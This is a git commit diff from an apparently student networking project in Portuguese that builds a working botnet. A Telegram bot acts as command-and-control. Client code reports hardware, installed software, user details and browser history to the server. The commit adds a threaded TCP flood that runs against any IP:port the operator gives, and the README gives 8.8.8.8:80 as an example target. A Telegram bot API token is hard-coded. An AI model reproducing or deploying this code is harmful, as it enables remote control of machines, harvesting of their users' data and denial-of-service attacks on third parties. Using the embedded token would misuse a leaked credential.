Week 18, Update 01

This commit is contained in:
Sidney PEPO (aka sysb1n) 2024-01-06 22:17:40 -03:00
parent ea34a3bc24
commit b07ae0b24d
Signed by: sidneypepo
GPG Key ID: A188DCCE6CD96D52
8 changed files with 681 additions and 440 deletions

View File

@ -1,11 +1,11 @@
#+title: README
#+author: Sidney Pedro
#+date: [2024-01-01 Mon]
#+date: [2024-01-07 Sun]
* Projeto
Projeto final da disciplina Programação para Redes
** Instruções
** Objetivos
Fazer uma aplicação cliente/servidor com as seguintes características:
- A conexão entre o cliente e o servidor será através de um socket (UDP ou TCP);
@ -62,17 +62,35 @@ Fazer uma aplicação cliente/servidor com as seguintes características:
#+end_center
** Documentação
#+begin_quote
*Antes de usar*: *certifique-se*, em primeiro lugar, de instalar as dependencias utilizando o comando ~pip install -r requirements.txt~ (pode ser necessário utilizar a opção ~--break-system-packages~ logo após ~...requirements.txt~) e, em segundo lugar, de alterar o endereço ~0.0.0.0~ da linha 33 do arquivo ~constantes.py~ para o endereço IP do servidor, caso contrário, clientes remotos não serão capazes de se conectar ao servidor
#+end_quote
#+begin_quote
*Nota*: durante a execução de algum dos programas (cliente ou servidor) *pode haver latência* durante a execução de comandos, devido aos limites de tempo do Telegram e/ou conectividade do servidor com a rede
#+end_quote
*** Tipo de socket
TCP será utilizado, devido à confiabilidade da entrega de pacotes, fundamental para um adequado comando e controle das máquinas remotas
*** Comandos do C2 (via [[https://t.me/progredes_c2_bot][Telegram - @progredes_c2_bot]])
| Comando | Descrição |
|---------------------+----------------------------------------------------------------------------------------------------------|
| ~./c2 -h~ | Exibir ajuda (comandos disponíveis, exemplos, etc.) |
| ~./c2 -q ID~ | Finaliza o daemon do servidor ou de uma máquina conectada identificada por ~ID~ (o ID do servidor é ~0~) |
| ~./c2 -d ID~ | Lista informações de hardware de uma máquina conectada identificada por ~ID~ |
| ~./c2 -p ID~ | Lista programas instalados em uma máquina conectada identificada por ~ID~ |
| ~./c2 -b ID~ | Obtem histórico de navegação dos navegadores de uma máquina conectada identificada por ~ID~ |
| ~./c2 -u ID~ | Obtem informações do usuário logado de uma máquina conectada identificada por ~ID~ |
| ~./c2 -l~ | Lista de máquinas conectadas (ID's, endereços, IP, tempo online, etc.) |
| ~./c2 -s AÇÃO HOST~ | Reservado |
| Comando | Descrição |
|---------------------+-----------------------------------------------------------------------------------------------------------------------------------------|
| ~./c2 -h~ | Exibir ajuda (comandos disponíveis, exemplos de uso, etc.) |
| ~./c2 -q ID~ | Finaliza o daemon do servidor ou de uma máquina conectada identificada por ~ID~ (o ID do servidor é ~0~) |
| ~./c2 -d ID~ | Lista informações de hardware de uma máquina conectada identificada por ~ID~ |
| ~./c2 -p ID~ | Lista programas instalados em uma máquina conectada identificada por ~ID~ (essa ação pode levar alguns minutos até ser concluída) |
| ~./c2 -b ID~ | Obtém os últimos 200 itens do histórico de navegação dos navegadores de uma máquina conectada identificada por ~ID~ |
| ~./c2 -u ID~ | Obtém informações do usuário logado de uma máquina conectada identificada por ~ID~ |
| ~./c2 -l~ | Lista de máquinas conectadas (ID's, endereços, IP, tempo online, etc.) |
| ~./c2 -n AÇÃO SOCK~ | Realiza Negação de Serviço (leia os exemplos de uso abaixo). Valores válidos para ~AÇÃO~ são ~iniciar~ e ~parar~. O argumento ~SOCK~ deve seguir o formato ~IP:PORTA~ |
*** Exemplos de uso do C2 (via [[https://t.me/progredes_c2_bot][Telegram - @progredes_c2_bot]])
| Comando | Descrição |
|------------------------------+-----------------------------------------------------------------------|
| ~./c2 -h~ | Solicitando instruções de uso do C2 |
| ~./c2 -q 0~ | Finaliza o servidor |
| ~./c2 -q 4~ | Finaliza o cliente ~4~ |
| ~./c2 -b 1~ | Obtendo os últimos 200 itens do histórico de navegação do cliente ~1~ |
| ~./c2 -n iniciar 8.8.8.8:80~ | Iniciando Negação de Serviço contra a porta ~80~ da máquina ~8.8.8.8~ |
| ~./c2 -n parar 8.8.8.8:80~ | Parando Negação de Serviço contra a porta ~80~ da máquina ~8.8.8.8~ |

View File

@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
#
# ifrn/2023.2/programacao_para_redes/projeto/cliente.py
# Copyright (C) 2023 Sidney Pedro
# Copyright (C) 2023-2024 Sidney Pedro
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@ -19,91 +19,27 @@
#
# Importando bibliotecas
from constantes import *
import funcoes, socket, time
# Função para parar o cliente
def parar_cliente():
global continuar
continuar = False
print(f"\nEncerrando cliente em {TIMEOUT} segundos...")
return
def realizar_conexao():
global continuar
# Criando socket TCP
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conectando socket
status_conexao = server_sock.connect_ex(SOCKET_SERVIDOR)
if (status_conexao != 0):
server_sock.close()
return
# Enviando informações do cliente
try:
server_sock.send(funcoes.obter_informacoes().encode(CHARSET))
except:
return
print("Conexão estabelecida com o servidor!")
while (continuar):
# Tentando receber mensagem do servidor
try:
mensagem_recebida = server_sock.recv(TAMANHO_BUFFER).decode(CHARSET)
except KeyboardInterrupt:
parar_cliente()
continue
except:
print("Conexão perdida com o servidor!")
break
# Se o tamanho da mensagem recebida for menor que 1,
# informa-se desconexão com servidor
if (len(mensagem_recebida) < 1):
print("Conexão perdida com o servidor!")
break
# Analisando mensagem do servidor e preparando resposta
if (mensagem_recebida == "alive?"):
mensagem_retorno = "alive!".encode(CHARSET)
elif ("./c2 -p" in mensagem_recebida):
mensagem_retorno = funcoes.obter_programas().encode(CHARSET)
elif ("./c2 -b" in mensagem_recebida):
mensagem_retorno = funcoes.obter_historico().encode(CHARSET)
elif ("./c2 -q" in mensagem_recebida):
mensagem_retorno = f"Encerrando cliente em {TIMEOUT} segundos...".encode(CHARSET)
parar_cliente()
else:
print(f"Mensagem recebida: {mensagem_recebida}")
mensagem_retorno = ("Devolvendo mensagem: " + mensagem_recebida).encode(CHARSET)
# Tentando devolver mensagem ao servidor
try:
server_sock.send(mensagem_retorno)
except:
break
# Finalizando socket
server_sock.close()
return
import funcoes_cliente, constantes, funcoes, os
def main():
global continuar
continuar = True
# Verificando se há outra instância de cliente em execução
try:
arquivo_trava = open(f"{constantes.DIRETORIO_ATUAL}/cliente.lock", 'r')
arquivo_trava.close()
print("Erro: outra instância do cliente já está em execução!")
return
except:
arquivo_trava = open(f"{constantes.DIRETORIO_ATUAL}/cliente.lock", 'w')
arquivo_trava.write(f"{os.getpid()}\n")
arquivo_trava.close()
# Mantendo conexão persistente até que o cliente seja encerrado
while (continuar):
realizar_conexao()
try:
time.sleep(TIMEOUT)
except KeyboardInterrupt:
continuar = False
print()
try:
funcoes_cliente.cliente()
except:
print("\nSaindo...")
# Removendo trava de execução
funcoes.remover_arquivo("cliente.lock")
return
# Entrando na função main e, em caso de exceção, saindo

View File

@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
#
# ifrn/2023.2/programacao_para_redes/projeto/constantes.py
# Copyright (C) 2023 Sidney Pedro
# Copyright (C) 2023-2024 Sidney Pedro
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@ -30,7 +30,7 @@ DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
OS = os.name
SOCKET_SERVIDOR = ("localhost", 50000)
SOCKET_SERVIDOR = ("0.0.0.0", 50000) # Não esqueça de alterar o 0.0.0.0 para o IP do servidor!
TIMEOUT = 10
TAMANHO_BUFFER = 512
CHARSET = "utf-8"

View File

@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
#
# ifrn/2023.2/programacao_para_redes/projeto/funcoes.py
# Copyright (C) 2023 Sidney Pedro
# Copyright (C) 2023-2024 Sidney Pedro
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@ -34,7 +34,10 @@ if (OS == "nt"):
# Função para remover um arquivo no diretório local do programa
def remover_arquivo(nome_arquivo: str):
os.remove(f"{DIRETORIO_ATUAL}/{nome_arquivo}")
try:
os.remove(f"{DIRETORIO_ATUAL}/{nome_arquivo}")
except:
return
return
# Função para testar se uma string é um número natural

View File

@ -0,0 +1,160 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# ifrn/2023.2/programacao_para_redes/projeto/funcoes_cliente.py
# Copyright (C) 2023-2024 Sidney Pedro
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
#
# Importando bibliotecas
from constantes import *
import funcoes, socket, time, threading
# Função para parar o cliente
def parar_cliente():
global continuar
continuar = False
print(f"\nEncerrando cliente em {TIMEOUT} segundos...")
return
# Função para negar serviço em um alvo
def negar_servico(sock: str):
global negacoes
# Montando tupla com IP e porta informados
socket_tupla = (sock.split(':')[0], int(sock.split(':')[1]))
if (not sock in negacoes):
return
while (continuar and negacoes[sock]):
# Criando socket TCP
alvo_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conectando socket
status_conexao = alvo_sock.connect_ex(socket_tupla)
if (status_conexao != 0):
alvo_sock.close()
continue
# Inundando dados
try:
alvo_sock.send(('A' * 4096).encode(CHARSET))
alvo_sock.close()
except:
alvo_sock.close()
continue
negacoes.pop(sock)
return
# Função para configurar pedido de Negação de Serviço
def analisar_negacao(mensagem: str):
global negacoes
mensagem = mensagem.split()
acao = mensagem[0]
sock = mensagem[1]
if (acao == "iniciar"):
negacoes[sock] = True
thread = threading.Thread(target=negar_servico, args=(sock,))
thread.start()
elif (acao == "parar" and sock in negacoes):
negacoes[sock] = False
return
# Função para gerenciar conexão com servidor
def realizar_conexao():
global continuar, negacoes
negacoes = {}
# Criando socket TCP
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conectando socket
status_conexao = server_sock.connect_ex(SOCKET_SERVIDOR)
if (status_conexao != 0):
server_sock.close()
return
# Enviando informações do cliente
try:
server_sock.send(funcoes.obter_informacoes().encode(CHARSET))
except:
return
print("Conexão estabelecida com o servidor!")
while (continuar):
# Tentando receber mensagem do servidor
try:
mensagem_recebida = server_sock.recv(TAMANHO_BUFFER).decode(CHARSET)
except KeyboardInterrupt:
parar_cliente()
continue
except:
print("Conexão perdida com o servidor!")
break
# Se o tamanho da mensagem recebida for menor que 1,
# informa-se desconexão com servidor
if (len(mensagem_recebida) < 1):
print("Conexão perdida com o servidor!")
break
# Analisando mensagem do servidor e preparando resposta
if (mensagem_recebida == "alive?"):
mensagem_retorno = "alive!".encode(CHARSET)
elif ("./c2 -p" in mensagem_recebida):
mensagem_retorno = funcoes.obter_programas().encode(CHARSET)
elif ("./c2 -b" in mensagem_recebida):
mensagem_retorno = funcoes.obter_historico().encode(CHARSET)
elif ("./c2 -q" in mensagem_recebida):
mensagem_retorno = f"Encerrando cliente em {TIMEOUT} segundos...".encode(CHARSET)
parar_cliente()
elif ("./c2 -n " in mensagem_recebida):
analisar_negacao(mensagem_recebida[8:])
continue
else:
mensagem_retorno = ("Devolvendo mensagem: " + mensagem_recebida).encode(CHARSET)
# Tentando devolver mensagem ao servidor
try:
server_sock.send(mensagem_retorno)
except:
break
# Finalizando socket
server_sock.close()
return
# Função principal do cliente
def cliente():
global continuar
continuar = True
# Mantendo conexão persistente até que o cliente seja encerrado
while (continuar):
realizar_conexao()
try:
time.sleep(TIMEOUT)
except KeyboardInterrupt:
continuar = False
print()
return

View File

@ -0,0 +1,422 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# ifrn/2023.2/programacao_para_redes/projeto/funcoes_servidor.py
# Copyright (C) 2023-2024 Sidney Pedro
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
#
# Importando bibliotecas
from constantes import *
import requisicoes, funcoes, socket, threading, time
# Função para testar se um cliente, identificado pelo seu índice,
# está presente na lista de clientes e se o mesmo está livre para
# realizar uma transmissão
def cliente_existe_livre(index: int):
try:
cliente = clientes[index]
except:
return False
while (cliente in clientes):
try:
trava = clientes[index][1].locked()
except:
return False
if (not trava):
break
if (cliente in clientes):
return True
return False
# Função para receber dados de um cliente
def receber_dados(index):
# Recebendo dados até que o buffer recebido seja menor que o
# tamanho máximo de buffer
retorno = ''
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
return ''
retorno += dados
while (not len(dados) < TAMANHO_BUFFER):
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
return ''
retorno += dados
return retorno
# Função para testar se um cliente, identificado pelo seu índice,
# está online
def cliente_online(index: int):
global clientes
# Testando se o cliente existe e está livre para transmissão e, se
# não existir, retorna-se o índice
if (not cliente_existe_livre(index)):
return index
# Travando transmissões para o cliente e tentando enviar mensagem
# "ping" e, em caso de excessão, destrava-se as transmissões do
# cliente, finaliza-se o socket do cliente, remove-se o mesmo da
# lista de clientes e retorna-se o índice
clientes[index][1].acquire()
try:
clientes[index][0][0].send("alive?".encode(CHARSET))
except:
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return index
# Obtendo resposta do cliente e , se o tamanho da resposta do
# cliente for menor que 1, finaliza-se o socket do cliente,
# remove-se o mesmo da lista de clientes e retorna-se o índice
resposta = receber_dados(index)
if (len(resposta) < 1):
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return index
# Destravando as transmissões do cliente
clientes[index][1].release()
# Se a resposta do "ping" estiver incorreta, destrava-se as
# transmissões para o cliente e retorna-se o índice
if (resposta != "alive!"):
return index
# Atualizando momento da última verificação do cliente,
# destravando as transmissões para o cliente e retornando o índice
# mais um
clientes[index][2]["ultima_verificacao"] = time.time()
return index + 1
# Função para testar, periodicamente, se todos os clientes ainda
# estão conectados ao servidor
def testar_conexoes():
while (continuar):
time.sleep(TIMEOUT)
if (len(clientes) < 1):
continue
index = 0
while (index < len(clientes)):
index = cliente_online(index)
return
# Função para parar o servidor
def parar_servidor():
global continuar
continuar = False
print(f"\nEncerrando servidor em {TIMEOUT} segundos...")
return
# Função para iniciar servidor e gerenciar conexões
def gerenciar_servidor():
global clientes
# Criando socket TCP e desabilitando estado de TIME_WAIT do mesmo
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.settimeout(TIMEOUT)
# Habilitando socket
try:
server_sock.bind(SOCKET_SERVIDOR)
server_sock.listen()
except:
print(f"Erro: outra aplicação já está utilizando a porta {SOCKET_SERVIDOR[1]}!")
parar_servidor()
server_sock.close()
return
# Iniciando thread para teste periódico das conexões
testes = threading.Thread(target=testar_conexoes)
testes.start()
# Recebendo conexões e as apresentando
while (continuar):
try:
clientes.append([server_sock.accept(), threading.Lock()])
except:
continue
# Obtendo e armazenando informações do cliente recém-conectado
clientes[-1][1].acquire()
informacoes = receber_dados(-1).split('\n')
if (len(informacoes) < 2):
clientes[-1][0][0].close()
clientes.pop(-1)
continue
clientes[-1].append({
"momento_conexao": time.time(),
"ultima_verificacao": 0,
"socket": f"{clientes[-1][0][1][0]}:{clientes[-1][0][1][1]}",
"nome_cpu": informacoes[0],
"nucleos_cpu": informacoes[1],
"ram": informacoes[2],
"disco": informacoes[3],
"so": informacoes[4],
"usuario": informacoes[5],
"home": informacoes[6],
"uid": informacoes[7],
"grupo_principal": informacoes[8],
"grupos": informacoes[9],
"shell": informacoes[10],
"nome_host": informacoes[11]
})
clientes[-1][1].release()
print(f"Cliente {clientes[-1][0][1]} conectado!")
server_sock.close()
return
# Função para testar se uma verificação de conectividade irá
# ocorrer e, se sim, aguardar sua finalização
def aguardar_verificacao(index: int):
try:
cliente = clientes[index]
except:
return
while (cliente in clientes):
try:
tempo = clientes[index][2]["ultima_verificacao"]
except:
return
if (time.time() - tempo < TIMEOUT - 1):
break
time.sleep(1)
return
# Função para anunciar negação de serviço a todos os clientes
def anunciar_negacao(tokens: list):
global clientes
if (tokens[2] != "iniciar" and tokens[2] != "parar"):
return ''
try:
sock = tokens[3].split(':')
except:
return "Socket inválido!"
ip = sock[0]
if (not '.' in ip and not ':' in ip):
return "O IP informdo não é um IP!"
elif (ip in ("0.0.0.0", "127.0.0.1", "::1", SOCKET_SERVIDOR[0], "localhost")):
return "Você não deveria tentar estressar o servidor!"
try:
ip = socket.gethostbyname(ip)
except:
return "IP inválido!"
if (not funcoes.ehinteiro(sock[1])):
return "A porta informada não é um número!"
porta = int(sock[1])
if (porta < 0 or porta > 65535):
return "Porta inválida!"
# Enviando pedido de negação de serviço para todos os clientes
index = 0
while (index < len(clientes)):
aguardar_verificacao(index)
clientes[index][1].acquire()
try:
clientes[index][0][0].send(f"{tokens[0]} {tokens[1]} {tokens[2]} {tokens[3]}".encode(CHARSET))
clientes[index][1].release()
except:
clientes[index][0][0].close()
clientes.pop(index)
continue
index += 1
return f"Negação de Serviço para {tokens[3]}: {tokens[2]}"
# Função para responder mensagem informando desconexão de cliente
# e finalizar o socket do mesmo
def informar_desconexao(index: int, retorno: dict):
global clientes
retorno["text"] = f"Cliente {clientes[index][0][1]} desconectado!"
requisicoes.responder_mensagem(retorno)
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return
# Função principal do servidor
def servidor():
# Armazenando, globalmente, variável de continuidade da execução
# do servidor e lista de clientes
global continuar, clientes
continuar = True
clientes = []
# Iniciando thread para inicio e gerenciamento do servidor
servidor = threading.Thread(target=gerenciar_servidor)
servidor.start()
# Se o programa poder continuar, apresenta-se informações do bot
if (continuar):
print("Para acessar o bot, acesse @progredes_c2_bot no Telegram ou clique no link direto: https://t.me/progredes_c2_bot")
print("Para encerrar o bot, pressione Ctrl-c\n")
# Loop de funcionamento do bot
latest_update_id = 0
while (continuar):
# Obtendo última atualização e mensagem e, em caso de exceção,
# tenta-se novamente
try:
latest_update_id, latest_message = requisicoes.obter_atualizacoes(latest_update_id)
except KeyboardInterrupt:
parar_servidor()
continue
except:
continue
# Se não houver novas mensagens, volta-se ao início
if (latest_message == None):
continue
# Salvando última atualização
requisicoes.salvar_update_id(latest_update_id)
# Lendo ID do chat e da mensagem e montando dicionário de retorno
chat_id = latest_message["message"]["chat"]["id"]
message_id = latest_message["message"]["message_id"]
retorno = {
"chat_id": chat_id,
"reply_to_message_id": message_id,
"parse_mode": "Markdown",
"text": ''
}
# Se não há texto na mensagem recebida, responde-se à mensagem
if (not "text" in latest_message["message"]):
requisicoes.responder_mensagem(retorno)
continue
# Analisando se mensagem recebida é válida e respondendo com ação
# correspondente
message_text = latest_message["message"]["text"]
tokens = message_text.split()
if (len(tokens) == 1 and (tokens[0] == "./c2" or tokens[0] == "/start")):
retorno["text"] = "./c2 -h"
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[0] != "./c2"):
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-h"):
retorno["text"] = "./c2 -h"
requisicoes.responder_mensagem(retorno)
continue
# Analisando conteúdo da mensagem recebida e respondendo com sua
# ação correspondente
if (len(clientes) < 1 and message_text != "./c2 -q 0"):
retorno["text"] = f"Não há clientes conectados!"
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-l"):
retorno["text"] = funcoes.obter_clientes(clientes)
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-n" and len(tokens) == 4):
retorno["text"] = anunciar_negacao(tokens)
requisicoes.responder_mensagem(retorno)
continue
# Analisando se mensagem possui mais ou menos de três argumentos
# e, se tiver três, se o terceiro é um número inteiro
if (len(tokens) < 3 or len(tokens) > 3):
requisicoes.responder_mensagem(retorno)
continue
elif (not funcoes.ehinteiro(tokens[2])):
requisicoes.responder_mensagem(retorno)
continue
# Obtendo índice do cliente e, se o comando for o de "parar" e o
# índice for -1, para-se o servidor. Se não, se o índice for
# inválido, responde-se com aviso
index = int(tokens[2]) - 1
if (tokens[1] == "-q" and index == -1):
retorno["text"] = f"Encerrando servidor em {TIMEOUT} segundos..."
requisicoes.responder_mensagem(retorno)
parar_servidor()
continue
elif (index < 0 or index >= len(clientes)):
retorno["text"] = f"""ID inválido!
Digite `./c2 -l` para obter a lista de IDs disponíveis"""
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-d"):
retorno["text"] = funcoes.obter_hardware(clientes, index)
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-u"):
retorno["text"] = funcoes.obter_usuario(clientes, index)
requisicoes.responder_mensagem(retorno)
continue
# Testando se o cliente está disponível para receber mensagem e,
# se o mesmo deixar de existir, informa-se desconexão do mesmo
aguardar_verificacao(index)
if (not cliente_existe_livre(index)):
informar_desconexao(index, retorno)
continue
# Travando transmissões para o cliente e tentando enviar mensagem
# obtida ao cliente e, em caso de exceção, destrava-se as
# transmissões do cliente e informa-se desconexão do mesmo
clientes[index][1].acquire()
try:
clientes[index][0][0].send(message_text.encode(CHARSET))
except:
informar_desconexao(index, retorno)
continue
# Obtendo resposta do cliente e, se o tamanho da resposta for
# menor que 1, informa-se desconexão do cliente
retorno["text"] = receber_dados(index)
if (len(retorno["text"]) < 1):
informar_desconexao(index, retorno)
continue
# Destravando as transmissões do cliente e respondendo mensagem
# com resposta do cliente
clientes[index][1].release()
responder = threading.Thread(target=requisicoes.responder_mensagem, args=(retorno,))
responder.start()
return

View File

@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
#
# ifrn/2023.2/programacao_para_redes/projeto/requisicoes.py
# Copyright (C) 2023 Sidney Pedro
# Copyright (C) 2023-2024 Sidney Pedro
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@ -87,27 +87,45 @@ def responder_mensagem(retorno: dict):
Digite `./c2 -h` para obter a lista de comandos válidos"""
elif (mensagem == "./c2 -h"):
retorno["text"] = f"""Uso: `./c2 [OPÇÃO] [ARGUMENTO]...`
Comando e Controle (C2) da _botnet_ do Projeto de ProgRedes 2023.2.
Comando e Controle (C2) da _botnet_ do Projeto de ProgRedes 2023.2
Opções:
` -h ` Exibe essa mensagem
` -h ` Exibir ajuda (comandos disponíveis, exemplos
` ` de uso, etc.)
` -q ID ` Finaliza o daemon do servidor ou de uma
` ` máquina conectada identificada por `ID` (o ID do
` ` servidor é `0`)
` -d ID ` Lista informações de hardware de uma máquina
` ` conectada identificada por `ID`
` -p ID ` Lista programas instalados em uma máquina
` ` conectada identificada por `ID` (essa ação pode
` ` levar alguns minutos até ser concluída)
` -b ID ` Obtém os últimos 200 itens do histórico de
` ` navegação dos navegadores de uma máquina
` ` conectada identificada por `ID`
` -b ID ` Obtem histórico de navegação dos navegadores
` ` de uma máquina conectada identificada por `ID`
` -u ID ` Obtem informações do usuário logado de uma
` -u ID ` Obtém informações do usuário logado de uma
` ` máquina conectada identificada por `ID`
` -l ` Lista de máquinas conectadas (ID's, endereços,
` ` IP, tempo online, etc.)
` -s AÇÃO HOST ` Reservado
` -n AÇÃO SOCK ` Realiza Negação de Serviço (leia os exemplos de
` ` uso abaixo). Valores válidos para `AÇÃO` são
` ` `iniciar` e `parar`. O argumento `SOCK` deve
` ` seguir o formato `IP:PORTA`
Exemplos:
` ./c2 -h ` Pede informações do C2"""
` ./c2 -h ` Solicitando instruções de uso
` ` do C2
` ./c2 -q 0 ` Finaliza o servidor
` ./c2 -q 4 ` Finaliza o cliente `4`
` ./c2 -b 1 ` Obtendo os últimos 200 itens
` ` do histórico de navegação do
` ` cliente `1`
` ./c2 -n iniciar 8.8.8.8:80 ` Iniciando Negação de Serviço
` ` contra a porta `80` da máquina
` ` `8.8.8.8`
` ./c2 -n parar 8.8.8.8:80 ` Parando Negação de Serviço
` ` contra a porta `80` da máquina
` ` `8.8.8.8`"""
if (len(mensagem) < 2048):
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)

View File

@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
#
# ifrn/2023.2/programacao_para_redes/projeto/servidor.py
# Copyright (C) 2023 Sidney Pedro
# Copyright (C) 2023-2024 Sidney Pedro
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@ -19,343 +19,27 @@
#
# Importando bibliotecas
from constantes import *
import requisicoes, funcoes, socket, threading, time
# Função para testar se um cliente, identificado pelo seu índice,
# está presente na lista de clientes e se o mesmo está livre para
# realizar uma transmissão
def cliente_existe_livre(index: int):
cliente = clientes[index]
while (cliente in clientes):
if (not clientes[index][1].locked()):
break
if (cliente in clientes):
return True
return False
# Função para receber dados de um cliente
def receber_dados(index):
# Recebendo dados até que o buffer recebido seja menor que o
# tamanho máximo de buffer
retorno = ''
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
return ''
retorno += dados
while (not len(dados) < TAMANHO_BUFFER):
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
return ''
retorno += dados
return retorno
# Função para testar se um cliente, identificado pelo seu índice,
# está online
def cliente_online(index: int):
global clientes
# Testando se o cliente existe e está livre para transmissão e, se
# não existir, retorna-se o índice
if (not cliente_existe_livre(index)):
return index
# Travando transmissões para o cliente e tentando enviar mensagem
# "ping" e, em caso de excessão, destrava-se as transmissões do
# cliente, finaliza-se o socket do cliente, remove-se o mesmo da
# lista de clientes e retorna-se o índice
clientes[index][1].acquire()
try:
clientes[index][0][0].send("alive?".encode(CHARSET))
except:
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return index
# Obtendo resposta do cliente e , se o tamanho da resposta do
# cliente for menor que 1, finaliza-se o socket do cliente,
# remove-se o mesmo da lista de clientes e retorna-se o índice
resposta = receber_dados(index)
if (len(resposta) < 1):
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return index
# Destravando as transmissões do cliente
clientes[index][1].release()
# Se a resposta do "ping" estiver incorreta, destrava-se as
# transmissões para o cliente e retorna-se o índice
if (resposta != "alive!"):
return index
# Atualizando momento da última verificação do cliente,
# destravando as transmissões para o cliente e retornando o índice
# mais um
clientes[index][2]["ultima_verificacao"] = time.time()
return index + 1
# Função para testar, periodicamente, se todos os clientes ainda
# estão conectados ao servidor
def testar_conexoes():
while (continuar):
time.sleep(TIMEOUT)
if (len(clientes) < 1):
continue
index = 0
while (index < len(clientes)):
index = cliente_online(index)
return
# Função para parar o servidor
def parar_servidor():
global continuar
continuar = False
print(f"\nEncerrando servidor em {TIMEOUT} segundos...")
return
# Função para iniciar servidor e gerenciar conexões
def gerenciar_servidor():
global clientes
# Criando socket TCP e desabilitando estado de TIME_WAIT do mesmo
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.settimeout(TIMEOUT)
# Habilitando socket
try:
server_sock.bind(SOCKET_SERVIDOR)
server_sock.listen()
except:
print(f"Erro: outra aplicação já está utilizando a porta {SOCKET_SERVIDOR[1]}!")
parar_servidor()
server_sock.close()
return
# Iniciando thread para teste periódico das conexões
testes = threading.Thread(target=testar_conexoes)
testes.start()
# Recebendo conexões e as apresentando
while (continuar):
try:
clientes.append([server_sock.accept(), threading.Lock()])
except:
continue
# Obtendo e armazenando informações do cliente recém-conectado
clientes[-1][1].acquire()
informacoes = receber_dados(-1).split('\n')
if (len(informacoes) < 2):
clientes[-1][0][0].close()
clientes.pop(-1)
continue
clientes[-1].append({
"momento_conexao": time.time(),
"ultima_verificacao": 0,
"socket": f"{clientes[-1][0][1][0]}:{clientes[-1][0][1][1]}",
"nome_cpu": informacoes[0],
"nucleos_cpu": informacoes[1],
"ram": informacoes[2],
"disco": informacoes[3],
"so": informacoes[4],
"usuario": informacoes[5],
"home": informacoes[6],
"uid": informacoes[7],
"grupo_principal": informacoes[8],
"grupos": informacoes[9],
"shell": informacoes[10],
"nome_host": informacoes[11]
})
clientes[-1][1].release()
print(f"Cliente {clientes[-1][0][1]} conectado!")
server_sock.close()
return
# Função para testar se uma verificação de conectividade irá
# ocorrer e, se sim, aguardar sua finalização
def aguardar_verificacao(index: int):
cliente = clientes[index]
while (cliente in clientes[index]):
if (time.time() - clientes[index][2]["ultima_verificacao"] < TIMEOUT - 1):
break
time.sleep(1)
return
# Função para responder mensagem informando desconexão de cliente
# e finalizar o socket do mesmo
def informar_desconectado(index: int, retorno: dict):
global clientes
retorno["text"] = f"Cliente {clientes[index][0][1]} desconectado!"
requisicoes.responder_mensagem(retorno)
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return
import funcoes_servidor, constantes, funcoes, os
def main():
# Armazenando, globalmente, variável de continuidade da execução
# do servidor e lista de clientes
global continuar, clientes
continuar = True
clientes = []
# Verificando se há outra instância de servidor em execução
try:
arquivo_trava = open(f"{constantes.DIRETORIO_ATUAL}/servidor.lock", 'r')
arquivo_trava.close()
